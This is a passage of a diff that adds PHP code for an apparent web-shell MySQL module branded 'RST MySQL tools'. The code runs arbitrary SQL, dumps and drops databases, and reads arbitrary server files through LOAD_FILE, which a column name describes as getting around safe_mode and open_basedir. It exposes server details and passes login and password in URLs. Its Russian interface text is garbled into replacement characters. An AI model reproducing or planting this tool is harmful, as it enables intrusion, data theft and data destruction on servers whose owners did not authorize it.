type=\"text\" name=\"new_db\" value=\"\" maxlength=\"64\"> + <input type=\"submit\" value=\"�������\"></form></td> + </tr></table> + </td> + </tr> +</table> +</td> +</tr></table> + +<table width=80% align=center border=0 cellpadding=0> + <tr align=right> + <td width=85%></td> + <td width=15> + <a href=$self><img src=".$self."?img=b_close border=0 title=close></a> + </td> + </tr> +</table> +"; +//$cnt_b=mysql_num_rows(mysql_list_dbs()); // ���-�� ��� mysql ������� +print " +<table align=center border=0 width=100% cellpadding=1 cellspacing=0 bgcolor=#FFFFFF> + <tr> + <td> +<table align=center width=100% cellpadding=0 cellspacing=1 bgcolor=#000000> +<tr><td> + <table background=".$self."?img=bg_f border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#C2C2C2> + <tr> + ".$global_header." + <td width=33% align=center> + <font color=blue><b>$server</b></font><b>&nbsp;[CONNECTION OK]</b> + </td> + <td width=33% align=right> + ".date ("j-F-Y g:i")."&nbsp;&nbsp; + </td> + </tr> + </table> +</td></tr> +</table> + +</td></tr> +<tr><td> + +<table background=".$self."?img=send_img align=center border=0 width=100% cellpadding=0 cellspacing=0 bgcolor=#FFFFFF> + <tr> + <td bgcolor=#DBDCDD valign=top width=170>"; + +/*---------------------- L E F T B L O C K (menu bd)! -------------------*/ +/*�������� ��� ���� �������*/ +if ($connection&&!isset($db)) { + print "<table border=0 cellpadding=0 cellspacing=1 width=100% bgcolor=#FFFFFF><tr><td bgcolor=#B6B5B5 align=center>". + "<a href=\"$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"��������� � ������ � �������� ������ ���\"><font color=green><b>". + "��������&nbsp;���&nbsp;����</b></font></a></td></tr></table>"; + + $result = mysql_list_dbs($connection) or die("$h_error<b>".mysql_error()."</b>$f_error"); + while ( $row=mysql_fetch_row($result) ){ + $cnt_title=mysql_num_rows(mysql_list_tables($row[0])); //���-�� ������ ���� + print "<table valign=top border=0 width=100% cellpadding=0 cellspacing=1 bgcolor=#FFFFFF><tr><td bgcolor=#DBDCDD>"; + if ($cnt_title < 1) { + print "<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$row[0]&cr_tbl=new&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"����� ������ $cnt_title\"><b>$row[0]</b></a>"; + }else{ + print "<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$row[0]&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"����� ������ $cnt_title\"><b>$row[0]</b></a>"; + } + print "</td></tr></table>"; + } +} + +// ������ ������ ���� ������ +if (isset($db)){ + $result=mysql_list_tables($db) or die ("$h_error<b>".mysql_error()."</b>$f_error<head><META HTTP-EQUIV='Refresh' CONTENT='5;url=$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>"); + print "<table border=0 cellpadding=0 cellspacing=1 width=100% bgcolor=#FFFFFF><tr><td bgcolor=#B6B5B5 align=center>". + "<a href=\"$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port\"><font color=green><b>". + "��������&nbsp;���&nbsp;����</b></font></a></td></tr><tr><td></td></tr><tr><td></td></tr></table>"; + + print "<table cellpadding=0 cellspacing=1 width=100% bgcolor=#FFFFFF><tr><td bgcolor=silver align=center>". + "---[ <a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db\" title=\"�������� ������ ������\"><b>$db</b></a>". + " ]---</td></tr><tr><td></td></tr><tr><td></td></tr></table>"; + + while ( $row=mysql_fetch_array($result) ){ + //�������� ���������� �����(�������) � ������� + $count=mysql_query ("SELECT COUNT(*) FROM `$row[0]`"); + $count_row= mysql_fetch_array($count); + print "<table valign=top border=0 width=100% cellpadding=0 cellspacing=1 bgcolor=#FFFFFF>". + "<tr><td bgcolor=#DBDCDD>"; + if ($count_row[0] < 1) { + print "<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$row[0]&nn_row=ok\">$row[0]</a>&nbsp;($count_row[0])</td></tr></table>"; + }else{ + print "<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&tbl=$row[0]&limit_start=0&limit_count=5\">$row[0]</a>&nbsp;($count_row[0])</td></tr></table>"; + } + @mysql_free_result($count); + } +} + +/*---------------------- END L E F T B L O C K (menu bd)! -------------------*/ + +print " + </td> + <td valign=top bgcolor=#E6E7E9>"; + +/*------------------------ R I G H T B L O C K ! -----------------------*/ +if ($connection&&!isset($db)) { +$anon = @mysql_query("SELECT Host,User FROM mysql.user WHERE User=''", $connection); +if (mysql_num_rows($anon)>0) { print "<table align=center><tr><td><b>��������!<b></td></tr><tr><td bgcolor=red>��������� ������������� ��������� ����������� � ������� MySQL</td></tr></table>"; } +print $form_ad_b; +} +/*-------------�������� MySql------------*/ +if (isset($proc) && $proc=="TRUE"){ +$result = mysql_query("SHOW PROCESSLIST", $connection); + print "<center><font size=2>�������� MySQL ������� [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#FFFFFF><tr align=center bgcolor=#B6B5B5><td>ID</td><td>USER</td><td>HOST</td><td>DB</td><td>COMMAND</td><td>TIME</td><td>STATE</td><td>INFO</td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { + print "<tr bgcolor=#DAD9D9><td>$row[0]</td><td>$row[1]</td><td>$row[2]</td><td>$row[3]</td><td>$row[4]</td><td>$row[5]</td><td>$row[6]</td><td>$row[7]</td></tr>"; + } + print "</table><br>"; + mysql_free_result($result); + unset($proc); +} + +if(!function_exists('mysql_create_db')) { + function mysql_create_db($database_name, $link_identifier = null) { + + $sql = "CREATE DATABASE `{$database_name}`"; + if (mysql_query($sql)) { + return true; + } + return false; + } +} + +if(!function_exists('mysql_drop_db')) { + function mysql_drop_db($database_name, $link_identifier = null) { + + $sql = "DROP DATABASE `{$database_name}`"; + if (mysql_query($sql)) { + return true; + } + return false; + } +} + +/*������� ����� ����*/ +if (isset($_GET['new_db'])){ + $new_db=trim($_GET['new_db']); + if (mysql_create_db($new_db)) { + print ("<center><font size=2>���� <b>$new_db</b> ������� �������&nbsp;...</font></center><br>"); + print "<head><META HTTP-EQUIV='Refresh' CONTENT='1;url=$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>"; + } else { + die ("$h_error".mysql_error()."$f_error <head><META HTTP-EQUIV='Refresh' CONTENT='2;url=$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>"); + } + unset($new_db); +} + +/*�������� ����*/ +if (isset($_GET['drop'])){ + $result_d = mysql_list_dbs($connection) or die("<td bgcolor=#DAD9D9>$h_error".mysql_error()."$f_error</td></tr></table>"); + while ( $row_d=mysql_fetch_row($result_d) ){ + if ($drop==$row_d[0]) $dr="TRUE"; + } + if ($dr=="TRUE") { + mysql_drop_db($drop,$connection); + print ("<center><font size=2>���� <b>$drop</b> ������� �������...</font></center><br>"); + print "<head><META HTTP-EQUIV='Refresh' CONTENT='1;url=$self?s=$s&login=$login&passwd=$passwd&server=$server&port=$port'></head>"; + } +unset($drop); +} + +/*-------------������ ������������ ���� �������-----------*/ +if (isset($f)){ + print $form_file; +} +if(isset($p_file)){ + // mysql_create_db("tmp_bd",$connection) or die("$h_error<b>".mysql_error()."</b>$f_error"); + // mysql_create_db("tmp_bd") or die("$h_error<b>".mysql_error()."</b>$f_error"); + // mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );') or die("$h_error<b>".mysql_error()."</b>$f_error"); + $result = mysql_query("SELECT hex(load_file('".addslashes($p_file)."')) as `fc`") or die("$h_error<b>".mysql_error()."</b>$f_error");; + // $query = "SELECT * FROM tmp_file"; + // $result = mysql_query($query) or die("$h_error<b>".mysql_error()."</b>$f_error"); + /*�������� �������� ��������*/ + for ($i=0;$i<mysql_num_fields($result);$i++){ + $name=mysql_field_name($result,$i); + } + print "<br /><table align=center border=0 cellpadding=5 cellspacing=1 width=90% bgcolor=#FFFFFF><tr><td align=center bgcolor=#DBDCDD>�������� �����</td></tr> + <tr><td background=".$self."?img=st_form_bg bgcolor=#ECEDEE> + <form method=\"get\" action=\"$self?f=x_file\"> + <input type=\"hidden\" name=\"s\" value=\"$s\"> + <input type=\"hidden\" name=\"server\" value=\"$server\"> + <input type=\"hidden\" name=\"port\" value=\"$port\"> + <input type=\"hidden\" name=\"login\" value=\"$login\"> + <input type=\"hidden\" name=\"passwd\" value=\"$passwd\"> + ������ ���� � �����: <input type=\"text\" name=\"p_file\" value=\"$p_file\" size=\"40\">&nbsp;&nbsp;&nbsp;&nbsp; + <input type=\"submit\" value=\"�������� ����\"></form><br /><div style = \"width: 850px;overflow: scroll;border: dotted 1px #ccc;\"><tt><pre>"; + + while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) { + foreach ($line as $key =>$col_value) { + if(!strlen($col_value)) { + echo "<div style = \"text-align: center;\"><strong style = \"color: #900;\">�� ������� ��������� ����.</strong></div>"; + } else { + print htmlspecialchars(@pack('H*',$col_value))."<br>"; + } + } + } + + mysql_free_result($result); + print "</pre></tt></div></td></tr></table><br>"; + // mysql_drop_db("tmp_bd") or die("$h_error<b>".mysql_error()."</b>$f_error"); +} + +/*--------------���������� ������� Apache------------*/ +if (isset($apc) && $apc=="TRUE"){ + print "<center><font size=2>���������� ������� Apache [ <b>$server</b> ]</font><center> + <table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#FFFFFF> + <tr align=center bgcolor=#B6B5B5> + <td>��������</td><td>����������</td> + </tr> + <tr bgcolor=#DAD9D9><td>��� Internet-�����</td><td>".$_SERVER["SERVER_NAME"]."</td></tr> + <tr bgcolor=#DAD9D9><td>IP-����� �����</td><td>".$_SERVER["SERVER_ADDR"]."</td></tr> + <tr bgcolor=#DAD9D9><td>���� Web-�������.</td><td>".$_SERVER["SERVER_PORT"]."</td></tr> + <tr bgcolor=#DAD9D9><td>������������ CGI ���������.</td><td>".$_SERVER["GATEWAY_INTERFACE"]."</td></tr> + <tr bgcolor=#DAD9D9><td>�������� ��� ������� ������ �������� (�����).</td><td>".$_SERVER["REQUEST_METHOD"]."</td></tr> + <tr bgcolor=#DAD9D9><td>Root ���������� ��� ������� ������������.</td><td>".$_SERVER["DOCUMENT_ROOT"]."</td></tr> + <tr bgcolor=#DAD9D9><td>��������� �������� �������.</td><td>".$_SERVER["HTTP_CONNECTION"]."</td></tr> + <tr bgcolor=#DAD9D9><td>��������� httpd.conf (SERVER_ADMIN).</td><td>".$_SERVER["SERVER_ADMIN"]."</td></tr> + <tr bgcolor=#DAD9D9><td>��������� �������.</td><td>".$_SERVER["SERVER_SIGNATURE"]."</td></tr> + </table><br>"; + unset($apc); +} + +/*---------------���������� MySQL �������--------------*/ +if (isset($stat) && $stat=="TRUE"){ +$result = mysql_query("SHOW STATUS", $connection); + print "<center><font size=2>���������� ��������� MySQL ������� [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=400 bgcolor=#FFFFFF><tr align=center bgcolor=#B6B5B5><td>���������� ��������� �������</td><td>�������� ����������</td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { + print "<tr bgcolor=#DAD9D9><td>$row[0]</td><td>$row[1]</td></tr>"; + } + print "</table>"; + mysql_free_result($result); +} + +/*---------------��������� ���������� MySQL �������--------------*/ +if (isset($var) && $var=="TRUE"){ +$result = mysql_query("SHOW VARIABLES ", $connection); + print "<center><font size=2>��������� ���������� MySQL ������� [ <b>$server</b> ]</font><center><table align=center border=0 cellpadding=0 cellspacing=1 width=80% bgcolor=#FFFFFF><tr align=center bgcolor=#B6B5B5><td>���������� �������</td><td>�������� ����������</td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { + print "<tr bgcolor=#DAD9D9><td>$row[0]</td><td>$row[1]</td></tr>"; + } + print "</table>"; + mysql_free_result($result); +unset($var); +} + +/*-------------����� ������ ������------------*/ +if (isset($db) && !isset($tbl)) { +$cnt=mysql_num_rows(mysql_list_tables($db)); //���-�� ������ ���� + print "<table border=0 align=center width=100% cellpadding=0 cellspacing=0> + <tr> + <td> + <table border=0 align=center width=80% cellpadding=0 cellspacing=1 bgcolor=#FFFFFF> + <tr align=center> + <td width=20% bgcolor=#B6B5B5> +<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&cr_tbl=new\" title=\"������� ����� ������� � ���� $db\"><b>������� �������</b></a> + </td> + <td width=20% bgcolor=#B6B5B5> +<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&query_tbl&q_tbl=bd\" title=\"������������ ������ � ����\"><b>SQL-������</b></a> + </td> + <td width=20% bgcolor=#B6B5B5> +<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&str=TRUE&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"�������� ��������� ��\"><b>���������</b></a> + </td> + <td width=20% bgcolor=#B6B5B5> +<a href=\"$_SERVER[PHP_SELF]?s=$s&login=$login&passwd=$passwd&server=$server&port=$port&db=$db&dump=bd\" title=\"������� ������ ���� $db\"><b>���� ����</b></a> + </td> + <td width=20% bgcolor=#B6B5B5> +<a href=\"$_SERVER[PHP_SELF]?s=$s&drop=$db&login=$login&passwd=$passwd&server=$server&port=$port\" title=\"������� �� $db\" onClick=\"return confirm('������� ���� $db ?')\";><b>������� ����</b></a> + </td> + </tr> + </table> + </td> + </tr> + <tr> + <td><br>"; + print "&nbsp;&nbsp;��:(<b>$db</b>) &nbsp;&nbsp;����� ������:(<b>$cnt</b>)"; + if (isset($t)) { print "<br>&nbsp;&nbsp;".base64_decode($t);} + if (isset($t2)) { print base64_decode($t2);} +/*-------------��������� ���� ------------------*/ +if (isset($str) && $str=='TRUE'){ + mysql_select_db($db); + if ($cnt < 1) { + print "<table border=1 width=400 align=center bgcolor=#E7E7D7><tr align=center>". + "<td><br><h5>���������� �������� ��������� ����<br>� ���� <font color=blue>". + "$db</font> ��� ������!</h5></td></tr></table><br><br>"; + }else{ + $result = mysql_query("SHOW TABLE STATUS", $connection); + print "<br><center><font size=2>��������� ���� [ <b>$db</b> ]</font></center>". + "<table align=center border=0 cellpadding=0 cellspacing=1 width=650 bgcolor=#FFFFFF>". + "<tr align=center bgcolor=#B6B5B5><td>��� �������</td><td>���</td><td>�����</td><td>�������</td>". + "<td>��������������</td><td>������(kb)</td><td>��������</td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { + $size=$row[5]/1000; + print "<tr bgcolor=#DAD9D9><td>$row[0]</td><td>$row[1]</td><td align=center>$row[3]</td>". + "<td>$row[10]</td><td>$row[11]</td><td align=center>$size</td><td bgcolor=red align=center>". + "<a href=\"$_SERVER[PHP_SELF]?s=$s&db=$db&login=$login&passwd=$passwd&server=$server&". + "port=$port&drop_table=$row[0]\" onClick=\"return confirm('������� ������� $row[0]?');\">����������</a></td> + </tr>"; + } + print "</table><br>"; + mysql_free_result($result); + } +} + +print " </td> + </tr> + </table>"; +} + +/*------------���� ����----------------*/ +$form_dump_bd= +"<form method=\"get\" action=\"$self\">". +"<input type=\"hidden\" name=\"s\" value=\"$s\">". +"<input type=\"hidden\" name=\"db\" value=\"$db\">". +"<input type=\"hidden\" name=\"server\" value=\"$server\">". +"<input type=\"hidden\" name=\"port\" value=\"$port\">". +"<input type=\"hidden\" name=\"login\" value=\"$login\">". +"<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">". +"<input type=\"hidden\" name=\"f_dump\" value=\"$file\">". +"<input type=\"hidden\" name=\"dump\" value=\"bd\">". +"<input type=\"hidden\" name=\"strukt\" value=\"d_strukt_bd\">". +"<table align=center bgcolor=#FFFFFF width=400 cellpadding=0 cellspacing=1 border=0><tr bgcolor=#F0F1F4><td valign=top>". +"<table cellpadding=2 bgcolor=#F0F1F4 width=100%>". +"<tr><td align=center><b>Dump ����</b> [ <font color=green><b>$db</b></font> ]</td></tr>". +"<tr><td align=center><font color=gray><b>��������� � ������</b></font></td></tr>". +"<tr><td align=center><hr size=1 color=#FFFFFF><b>��������</b> (��������/���������)</td></tr>". +"<tr><td><input type=\"radio\" name=\"send\" value=\"send_br\" checked=\"checked\"> �������� � ��������</td></tr>". +"<tr><td><input type=\"radio\" name=\"send\" value=\"send_http\"> ��������� ���� ����� �� HTTP</td></tr>". +"<tr><td align=center><br><input type=\"submit\" value=\"��������� ������\"></td></tr>". +"</table>". +"</td></tr></table></form>"; + +if ($_GET['dump']=='bd') { + if ($cnt >= 1) { + print $form_dump_bd; + }else{ + print "<table border=1 width=400 align=center bgcolor=#E7E7D7><tr align=center>". + "<td><br><h5>���������� ������� ���� ����<br>� ���� <font color=blue>". + "$db</font> ��� ������!</h5></td></tr></table><br><br>"; + } +} + $host = $_SERVER["SERVER_NAME"]; + $ip = $_SERVER["SERVER_ADDR"]; +if ($_GET['strukt']=='d_strukt_bd' && $_GET['send']=='send_br'){ + if (sizeof($tabs) == 0) { + // �������� ������ ������ ���� + $res = mysql_query("SHOW TABLES FROM $db", $connection); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_row($res)) { + $tabs[] .= $row[0]; + } + } + } + // ��������� ���� ��� ������ ����� + $fp = fopen($file, "w"); + fputs ($fp, "# RST MySQL tools\n# Home page: http://rst.void.ru\n#\n# Host settings:\n# MySQL version: (".mysql_get_server_info().")\n# Date: ". + date("F j, Y, g:i a")."\n# ".$host." (".$ip.")"." dump db \"".$db."\"\n#____________________________________________________________\n\n"); + foreach($tabs as $tab) { + if ($add_drop) { + fputs($fp, "DROP TABLE IF EXISTS `".$tab."`;\n"); + } + // �������� ����� ������� �������� ��������� ������� + $res = mysql_query("SHOW CREATE TABLE `".$tab."`", $connection) or die(mysql_error()); + $row = mysql_fetch_row($res); + fputs($fp, $row[1].";\n\n"); + + // �������� ������ ������� + $res = mysql_query("SELECT * FROM `$tab`", $connection); + if (mysql_num_rows($res) > 0) { + while ($row = mysql_fetch_assoc($res)) { + $keys = implode("`, `", array_keys($row)); + $values = array_values($row); + foreach($values as $k=>$v) {$values[$k] = addslashes($v);} + $values = implode("', '", $values); + $sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n"; + fputs($fp, $sql); + } + } + fputs ($fp, "#---------------------------------------------------------------------------------\n\n"); + } + fclose($fp); + $dump_file=file($file); + print "<table border=1 align=center cellpadding=2 bgcolor=#F0F1F4 width=98%><tr><td>"; + print "<table border=0 align=center cellpadding=2 bgcolor=#F0F1F4>"; + foreach ($dump_file as $k=>$v) { + $v=str_replace("\n","<br>",$v); + print "<tr><td>".strip_tags($v,"<br>")."</td></tr>"; + } + print "</table></td></tr></table><br>"; + unlink($file); +} + +/*--------------������� ����� �������---------------*/ + $form_cr_tbl= + "<form method=\"get\" action=\"$self\">". + "<input type=\"hidden\" name=\"s\" value=\"$s\">". + "<input type=\"hidden\" name=\"db\" value=\"$db\">". + "<input type=\"hidden\" name=\"server\" value=\"$server\">". + "<input type=\"hidden\" name=\"port\" value=\"$port\">". + "<input type=\"hidden\" name=\"login\" value=\"$login\">". + "<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">". + "<table align=center bgcolor=#FFFFFF width=400 cellpadding=0 cellspacing=1 border=0><tr bgcolor=#F0F1F4><td valign=top>". + "<table cellpadding=2 bgcolor=#F0F1F4 width=100%>". + "<tr><td align=center><b>������� ����� ������� � ����</b> [ <font color=green><b>$db</b></font> ]<hr color=#FFFFFF></td></tr>". + "<tr><td align=center>��� ����� �������: <input type=\"text\" name=\"new_tbl_name\" value=\"\" size=25></td></tr>". + "<tr><td align=center>���������� ����� �������:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=\"text\" name=\"new_count_cols\" value=\"\" size=10></td></tr>". + "<tr><td align=center><br><input type=\"submit\" value=\"��������� ������\"></td></tr>". + "</table>". + "</td></tr></table></form>"; + + +if (isset($_GET['cr_tbl']) && $_GET['cr_tbl']=='new'){ + print "$form_cr_tbl"; +} +if ( (isset($new_count_cols)) && (ereg("[^0-9]",$new_count_cols) || preg_match("/ +/",$new_count_cols) || $new_count_cols=='') ) { + print "<script>alert('���������� ����� ������� - ��� �����, � �� ���-�� ����!');</script>"; + print "$form_cr_tbl"; +} + +if ( (ereg("[0-9]",$_GET['new_count_cols'])) && ($_GET['new_tbl_name'] !=='') ) { + + for ($i=0; $i < $_GET['new_count_cols']; $i++) { + + $pole_count .= "<tr align=center bgcolor=#DDDDDD>". + "<td><input type=\"text\" name=\"field_name[]\" size=\"10\" value=\"\"></td>". + "<td> + <select name=\"field_type[]\" width=3> + <option value=\"VARCHAR\">VARCHAR</option> + <option value=\"TINYINT\">TINYINT</option> + <option value=\"TEXT\">TEXT</option> + <option value=\"DATE\">DATE</option> + <option value=\"SMALLINT\">SMALLINT</option> + <option value=\"MEDIUMINT\">MEDIUMINT</option> + <option value=\"INT\">INT</option> + <option value=\"BIGINT\">BIGINT</option> + <option value=\"FLOAT\">FLOAT</option> + <option value=\"DOUBLE\">DOUBLE</option> + <option value=\"DECIMAL\">DECIMAL</option> + <option value=\"DATETIME\">DATETIME</option> + <option value=\"TIMESTAMP\">TIMESTAMP</option> + <option value=\"TIME\">TIME</option> + <option value=\"YEAR\">YEAR</option> + <option value=\"CHAR\">CHAR</option> + <option value=\"TINYBLOB\">TINYBLOB</option> + <option value=\"TINYTEXT\">TINYTEXT</option> + <option value=\"BLOB\">BLOB</option> + <option value=\"MEDIUMBLOB\">MEDIUMBLOB</option> + <option value=\"MEDIUMTEXT\">MEDIUMTEXT</option> + <option value=\"LONGBLOB\">LONGBLOB</option> + <option value=\"LONGTEXT\">LONGTEXT</option> + <option value=\"ENUM\">ENUM</option> + <option value=\"SET\">SET</option> + </select> + </td>". + "<td><input type=\"text\" name=\"field_length[]\" size=\"6\" value=\"\"></td>". + "<td> + <select name=\"field_attribute[]\"> + <option value=\"\" selected=\"selected\"></option> + <option value=\"BINARY\">BINARY</option> + <option value=\"UNSIGNED\">UNSIGNED</option> + <option value=\"UNSIGNED ZEROFILL\">UNS-D ZEROFILL</option> + </select> + </td>". + "<td> + <select name=\"field_null[]\"> + <option value=\"NOT NULL\">not null</option> + <option value=\"\">null</option> + </select> + </td>". + "<td><input type=\"text\" name=\"field_default[]\" size=\"14\" value=\"\"></td>". + "<td> + <select name=\"field_extra[]\"> + <option value=\"\"></option> + <option value=\"AUTO_INCREMENT\">auto_increment</option> + </select> + </td>". + "<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"primary_0\"></td>". + "<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"index_0\"></td>". + "<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"unique_0\"></td>". + "<td align=\"center\"><input type=\"radio\" name=\"field_key_0[$i]\" value=\"no\" checked=\"checked\"></td>". + "</tr>"; + } + + print + "<form method=\"get\" action=\"$self\">". + "<input type=\"hidden\" name=\"s\" value=\"$s\">". + "<input type=\"hidden\" name=\"db\" value=\"$db\">". + "<input type=\"hidden\" name=\"new_tbl_name\" value=\"$new_tbl_name\">". + "<input type=\"hidden\" name=\"server\" value=\"$server\">". + "<input type=\"hidden\" name=\"port\" value=\"$port\">". + "<input type=\"hidden\" name=\"login\" value=\"$login\">". + "<input type=\"hidden\" name=\"passwd\" value=\"$passwd\">". + "<table align=center bgcolor=#FFFFFF width=98% cellpadding=0 cellspacing=1 border=0><tr bgcolor=#F0F1F4><td valign=top>". + "<table cellpadding=2 bgcolor=#F0F1F4 width=100%>". + "<tr><td align=center><b>������� ����� �������</b> [ <font color=green><b>$new_tbl_name</b></font> ] <b>� ����</b> [ <font color=green><b>$db</b></font> ]<hr color=#FFFFFF></td></tr>". + "<tr><td align=center>". + "<table bgcolor=#000000 border=0 cellspacing=1 cellpadding=2 bgcolor=#F0F1F4 width=100%>". + "<tr align=center bgcolor=silver><td><b>����</b></td><td><b>���</b></td><td><b>������</b></td><td><b>��������</b></td><td><b>����</b></td><td><b>�� ���������</b></td><td><b>�������������</b></td><td><b>���������</b></td><td><b>������</b></td><td><b>����-o�</b></td><td><b>---</b></td></tr>"; + + + print $pole_count; + + +print + "</table><br><b>���������� � �������:</b> <input type=\"text\" name=\"comment\" size=\"40\" maxlength=\"80\"> + &nbsp;&nbsp;&nbsp;&nbsp;<b>��� �������:</b> + <select name=\"tbl_type\"> + <option value=\"Default\">�� ���������</option> + <option value=\"MYISAM\">MyISAM</option> + <option value=\"HEAP\">Heap</option> + <option value=\"MERGE\">Merge</option> + <option value=\"ISAM\">ISAM</option> + </select>&nbsp;&nbsp;&nbsp;&nbsp; + <input type=\"checkbox\" name=\"php_kod\" value=\"ok\"> �������� PHP-��� ������� + </td></tr>". + "<tr><td align=center><br><input type=\"submit\" value=\"��������� ������\"></td></tr>". + "</table>". + "</td></tr></table></form>"; +} + +if (isset($_GET['field_name'])) { + + for ($i=0; $i<count($field_name); $i++) { + if ($_GET['field_name'][$i] !=='') { + $n_name .= "`$field_name[$i]` "; + if ($_GET['field_length'][$i] !=='') { + $n_name .= "$field_type[$i]($field_length[$i]) "; + }else{ + $n_name .= "$field_type[$i] "; + } + if ($_GET['field_attribute'][$i] !=='') { $n_name .= "$field_attribute[$i] "; } + if ($_GET['field_null'][$i] =='NOT NULL') { $n_name .= "$field_null[$i] "; } + if ($_GET['field_default'][$i] !=='') { $n_name .= "DEFAULT '$field_default[$i]' "; } + if ($_GET['field_extra'][$i] =='AUTO_INCREMENT') { $n_name .= "$field_extra[$i], "; }else{ $n_name .=', '; } + + /*--------������� primary,index,unique----------*/ + if ($_GET['field_key_0'][$i] !=='no') { + if ($_GET['field_key_0'][$i] =='primary_0') { + $n_prim .= " `$field_name[$i]`, "; + } + if ($_GET['field_key_0'][$i] =='index_0') { + $n_ind .= " `$field_name[$i]`, "; + } + if ($_GET['field_key_0'][$i] =='unique_0') { + $n_uniq .= " `$field_name[$i]`, "; + } + } + /*--------END primary,index,unique----------*/ + } + } //end for + + $n_name=substr_replace($n_name,"",-2); + if (count($n_prim)>0) { + $n_prim=substr_replace($n_prim,"",-2); + $n_name .=", PRIMARY KEY ($n_prim)"; + } + if (count($n_ind)) { + $n_ind=substr_replace($n_ind,"",-2); + $n_name .=", INDEX ($n_ind)"; + } + if (count($n_uniq)) { + $n_uniq=substr_replace($n_uniq,"",-2); + $n_name .=", UNIQUE ($n_uniq)"; + } + + $sql_new_tbl = "CREATE TABLE `$new_tbl_name` ( $n_name )"; + + if ($_GET['tbl_type'] !=='Default') { + $sql_new_tbl .= " TYPE =$tbl_type"; + } + if ($_GET['comment'] !=='') { + $sql_new_tbl .= " COMMENT = '$comment'"; + } + + $r_n_tbl=mysql_db_query($db, $sql_new_tbl) or die("$h_error".mysql_error()."$f_error"); + $t=base64_encode("<font color=green size=2><b>Action: </b></font><font color=#706D6D size=2>������� [ <b>$new_tbl_name</b> ] ������� �������.</font><br>"); + if ($_GET['php_kod']=='ok') { + $t2=base64_encode("<br><table bgcolor=#EDEEF1 align=center width=98%><font color=green><b>PHP-��� �������:</b></font><tr><td>\$sql='$sql_new_tbl';</td></tr></table><br><br>"); + }else{ $t2=''; } + print "<head><META HTTP-EQUIV='Refresh' CONTENT='0;url=$self?s=$s&db=$db&login=$login&passwd=$passwd&server=$server&port=$port&t=$t&t2=$t2'></head>"; +} + +/*--------------END c������ ����� �������---------------*/ + +/*-------------������������ ������ � ��-------------*/ +if ($_GET['q_tbl']=='bd') { $q_bd="SHOW TABLE STATUS "; } +if ($_GET['return_sql']=='ok') { $q_bd=trim($_GET['new_query_bd']);} +$form_query_db="<br> + <form method=\"get\" action=\"$self?s=$s\"> + <input type=\"hidden\" name=\"s\" value=\"$s\"> + <input type=\"hidden\" name=\"db\" value=\"$db\"> + <input type=\"hidden\" name=\"server\" value=\"$server\"> + <input type=\"hidden\" name=\"port\" value=\"$port\"> + <input type=\"hidden\" name=\"login\" value=\"$login\"> + <input type=\"hidden\" name=\"passwd\" value=\"$passwd\"> + <table align=center width=90% border=0 bgcolor=#EDEEF1><tr><td>��������� ������������ ������ � ���� ( <b>$db</b> )</td></tr> + <tr><td width=90> + <textarea name=\"new_query_bd\" rows=\"10\" cols=\"80\">$q_bd</textarea> + </td><td valign=top> + <input type=\"checkbox\" name=\"php_kod\" value=\"ok\"> �������� PHP-��� �������<br><br> + <input type=\"checkbox\" name=\"return_sql\" value=\"ok\" checked=\"checked\"> �������� ������ ������ �����<br> + <br> + <a href=\"$self?s=$s&q_help=ok\" target=\"_blank\"><b>������� ��������</b></a> + </td></tr> + <tr><td> + <input type=\"submit\" value=\"������\"> + </td></tr> + </table></form>"; + +if (isset($db) && $_GET['q_tbl']=='bd') { + print $form_query_db; +} +if (isset($new_query_bd)) { + $new_query_bd=trim($new_query_bd); + print $form_query_db; + if ($_GET['php_kod']=='ok') { + print "&nbsp;&nbsp;&nbsp;<font color=green><b>PHP-��� �������:</b></font><br>&nbsp;&nbsp;&nbsp;\$sql=\"$new_query_bd\";<br><br>"; + } + $r_q_bd=mysql_db_query($db, $new_query_bd) or die("$h_error".mysql_error()."$f_error"); + + print "&nbsp;&nbsp;&nbsp;<b>������ ������� ��������<b>"; + if ($r_q_bd !=='') { + print "<table align=center width=98% bgcolor=#D7D8DA>"; + while ($line_bd = @mysql_fetch_array($r_q_bd, MYSQL_ASSOC)) { + print "<tr>"; + foreach ($line_bd as $key_bd =>$col_value_bd) { + print "<td 